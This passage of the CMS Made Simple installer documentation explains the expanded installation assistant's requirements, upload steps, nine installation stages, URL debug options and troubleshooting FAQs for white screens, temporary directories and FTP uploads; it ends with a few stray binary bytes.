A:  This could indicate that either your installer upload is corrupted OR that your host does not allow you to change debug settings in the standard way.   You will probably have to contact your host in order to get at the actual error.

Q:  I Get a redirection loop, what can I do?
A:  Some hosting environments (nginx, and litespeed) particularly can cause redirection loops when executing even the simplest of phar archives.  This is due to one or more bugs in php.  Specifically: https://bugs.php.net/bug.php?id=71465 and https://bugs.php.net/bug.php?id=67587 (though more may exist).  For these environments we recommend that you use the expanded installer.  Be sure you read it's README file in it's entirety.
---------------------------------------
CMS Made Simple Expanded Installation Assistant
---------------------------------------
This document describes using the expanded CMS Made Simple installation assistant.

As opposed to the PHAR based installation assistant, this version is not compressed into a single archive file
and contains numerous files and directories.  It is useful for installing, upgrading and freshening CMSMS installs
on servers which are not necessarily running up-to-date software or those with special configurations that do not support
using the simpler phar installer.


-------------------
WARNINGS:
-------------------
1.  We DO NOT recommend the use of this version of the installation assistant.  Please use the PHAR version of the installer
    whenever possible.   When using this installer, please execute extreme caution.

2.  DO NOT INSTALL THIS PACKAGE IN A POPULATED DIRECTORY.
    At all times you MUST use a clean directory for the expanded version of the installation assistant.  This clean directory
    can be located below an existing CMSMS install,  or parallel to it.


-------------------
Requirements:
-------------------
1.  The installation assistant requires a PHP environment with a minimum version of PHP 5.4.0.
2.  For new installations of CMS Made Simple you should create a new mysql database and database user.
    - The database user must have ALL PRIVILEGES to all tables within the new database.
    - Your database user account must have a password.
3.  CMS Made Simple itself requires at least PHP 5.6 with numerous libraries enabled (the install assistant will
    check for these) including json, tokenizer, xml, and gd.
4.  Your PHP environment must include the PHAR extension (yes, even for the expanded installer).  This is for expanding the archive(s) included within the installation assistant.


-------------------
Instructions:
-------------------
1.  Using your web host's file manager (usually accessible within the control panel), create a new directory below
    the location where you want to install CMSMS.  Typically, you could name this directory cmsms_install
    For example:  /home/<myusername>/public_html/cmsms_install

2.  Upload the cmsms-<version>-install.expanded.zip file to this subdirectory.

3.  Extract the files from the .zip archive into this subdirectory.
    This will create numerous files and directories.  So use caution that you are extracting the files into the proper directory.

3.  Using your browser, navigate to the directory created in step 1.
    For Example:   http://www.mywebsite.site/cmsms_install

You should now be presented with a welcome screen.  If instead you see a white screen it probably means that your
server is running outdated software versions (e.g. PHP, plugins such as ion-cube or zend-guard). It is a good hint that
if the installer will not run you may have further problems with CMS Made Simple on that server.

The installation assistant can then be used to guide you through the process of installing a new version of CMSMS,
Upgrading an existing installation of CMSMS, or freshening an existing version of CMSMS.   There are various options
for each path through the installation assistant and 9 steps

Step 1:
  The first step asks you to select an installation directory (the default value is your current directory's parent),
  to select a language for use in the remainder of the installer,  and optionally allows you to enable "Advanced Mode".

  -------
  WARNING Use extreme caution and ensure that the destination directory you select is correct.
  -------

  Advanced mode enables various additional options throughout the assistant and increases the verbosity of the status output.

Step 2:
  The second step does checks for existing software in your installation directory.  If an existing installation of
  CMS Made Simple is detected you will be presented with options to proceed through the "upgrade" or "freshen" paths
  (depending upon the version detected).  If no version of CMS Made Simple is installed you will be guided through the
  "installation" process.

Step 3:
  Step 3 performs various tests on your PHP environment to try to ensure that it is compatible with
  CMS Made Simple.   If important tests fail, you will be notified of them and not allowed to continue.  However, if
  some non-critical tests fail you will be allowed to continue.   We recommend that you adjust your PHP environment
  (you may need to contact your host for assistance) until all tests pass.

Step 4:
  This step is used only during the installation, and freshen paths.  It asks you to provide basic configuration information
  for the CMS Made Simple environment.  This includes database information and credentials, and a server time zone.

  As mentioned in the requirements above,  CMSMS requires a mysql database to store data, and user credentials to access
  that mysql database.  The user account provided must have ALL PRIVILEGES to the database.  You can normally create
  databases, and create user accounts for database from within your web host's control panel.

  Additionally, you are asked to specify the time zone of the server (not your local time zone).  You may need to ask your
  host for information about this.

  Upon submit, the installation assistant will validate your database credentials, and check the database to ensure
  you are not accidentally overwriting an existing installation of CMSMS.

Step 5:
  This step is used only during the installation path.  It asks you to provide basic credentials to the first Admin user
  account.  This Admin user account allows you to login to the CMSMS Admin console with all privileges and access to all
  of its functionality.   From within the CMSMS Admin console you can create user groups, and further user accounts
  for additional site managers or editors.

  Unless you have enabled "Advanced mode" in step 1, you must also provide an email address.  The email address will be
  used to send you your login credentials in the event of a lost or forgotten password.  An email will also be sent to you
  with your initial login credentials.

Step 6:
  This step asks you for a human readable name for your website, and allows you to select additional language packs to install.

  Additional language packs allow users who login to the CMSMS Admin console to display the output in their native language.
  Please note: though there are multiple languages available, not all of them are complete.

Step 7:
  This step copies all of the CMSMS Core files from within the installation assistant into your CMS Made Simple install. it also
  cleans up those files.

Step 8:
  This step interacts with the database to ensure that all tables and initial content are created properly.

  During the installation process numerous tables and indexes are created in the database, and necessary initial data is installed.
  Additionally (by default) sample data is installed.  The sample data provides useful instructions on how to interact with,
  and build sites with, CMS Made Simple. This is recommended reading.

  During the upgrade process, any necessary database changes are preformed to ensure that the database tables, and thier contents,
  are compatible with the new version of CMSMS.

Step 9:
  This step finishes the installation and performs a clean up.

  During the installation process all core modules are installed, necessary temporary directories created, and the configuration file
  is written.

  During the upgrade process core modules are upgraded if necessary, and a new version of the configuration file is written.
  Any existing configuration file is backed up for safety.  Additionally, the CMSMS cache is cleared.

  Once everything is complete you will be presented with links to either visit your CMSMS website, or to login to its Admin console.

-----------
Afterwards
-----------
After successful completion of the installation assistant, you should, using either the command line or your web hosts file manager,
It is important for security purposes that you delete the installation assistant .php file and this text file from your server after verifying that the operation has succeeded.

---------------------------
Additional Features
---------------------------
The single installation assistant package provides these features:
1.  Installing a new version of CMSMS into an empty directory.
2.  Upgrading an existing version of CMSMS to a new version
3.  Freshening (or Repairing) an existing installation of CMSMS
    This option may be useful for fixing a corrupted installation of CMSMS.  Only available when the current version of CMSMS and the new version are identical, it will replace all of the core files with those distributed by the system and re-generate a new config.php file.
4.  Installing additional language packages
    As part of the "Freshen" functionality, when repairing an installation you have the option to install additional language packs.
5.  Advanced vs. Simple mode

---------------------------
Available Options
---------------------------
The installation assistant supports the following URL based options
1.  TMPDIR=/absolute/path
    Specify the absolute path to the directory to be used for temporary files.  This directory must be writable by the PHP process.  This option should not be needed on most hosts.
2.  debug=1
    Attempt Turn on error reporting, and to display some meaningful help information.
3.  nobase=1
    Do not output a base href tag in the generated HTML.
4.  dest=/absolute/path
    Allow specifying a custom destination directory (must be an absolute path).
5.  nofiles=1
    Do not overwrite files.  This is useful when needing to setup the database when the files have been manually extracted from the source code repository.
6.  clear=1
    Usable only on the first step, this will ensure that all preset config information is cleared from the session (for development purposes only).

----
FAQ:
----
Q: The installation assistant says it cannot write to all files in the directory.  Why?
A: The installation assistant is capable of upgrading from different different versions of CMSMS, and to do that it must be able to create, update, and delete files.  Including the config.php file.  In order to do that the PHP processor it must be able to write to each and every file and directory in the installation directory.

   Additionally, the installation assistant will change the permissions on the config.php file so that by default it is protected.  When performing an installation, or an upgrade you may need to manually change these permissions so that the installation assistant can adjust your config.php file.

Q: I get a message saying: "unable to create temporary file for decompression of gzipped phar archive"
A: Some hosts have restricted PHP's write access to the system temporary directory, which the installer needs to expand archives.  However there is a mechanism to use a different temporary directory for the installer.
   You can add a TMPDIR=/absolute/path/to/writable/directory argument to the URL on the first page.  If this directory is writable it will be used for storing temporary files throughout the execution of the installation assistant.

Q: I Get a white screen, what can I do?
A: A white screen indicates an error of some sort.  It can be caused by permissions problems, an incompatible host, or something else.  There are a few things to try:
   1.  Try to browse to the README-PHAR.TXT file with your browser.  If that also generates a white screen then it is indicative of permissions or .htaccess limitations.
       Note:  Depending upon host configuration, Some hosts do not allow browseable files to be writable, or even readable by users other than the file owner.  You can try changing the permissions of the extracted files to 600.
   2.  Rename your .htaccess file(s) out of the way.  (Rewrite rules and bad configuration options in the .htaccess file can cause 500 errors).
   3.  Enable and find your php error logs so that you can find an actual error message to aide in further diagnosis.
   4.  Add ?debug=1 to the URL for the installer.  This will attempt to enable a simple debug mode.  This, depending on your host configuration may allow you to see error messages.

Q:  I still get a white screen, and I've enabled debug mode... now what?
A:  This could indicate that either your installer upload is corrupted OR that your host does not allow you to change debug settings in the standard way.   You will probably have to contact your host in order to get at the actual error.

Q:  How do I upload this thing via FTP?
A:  We do not recommend FTP as a file transfer mechanism.  In fact, we highly discourage it.

    If your only mechanism to transfer files is via FTP because your host does not support shell/sftp or does not provide a reasonable web control panel with upload and unzip capabilities, then that could indicate that the host is not running up-to-date software, and you may have further difficulties.  Consider evaluating and moving to a different host.

    If you still insist on using FTP then use a decent FTP client (such as filezilla) and ensure that you transfer ALL files in binary mode.
MXL6nR_85̅'U   GBMB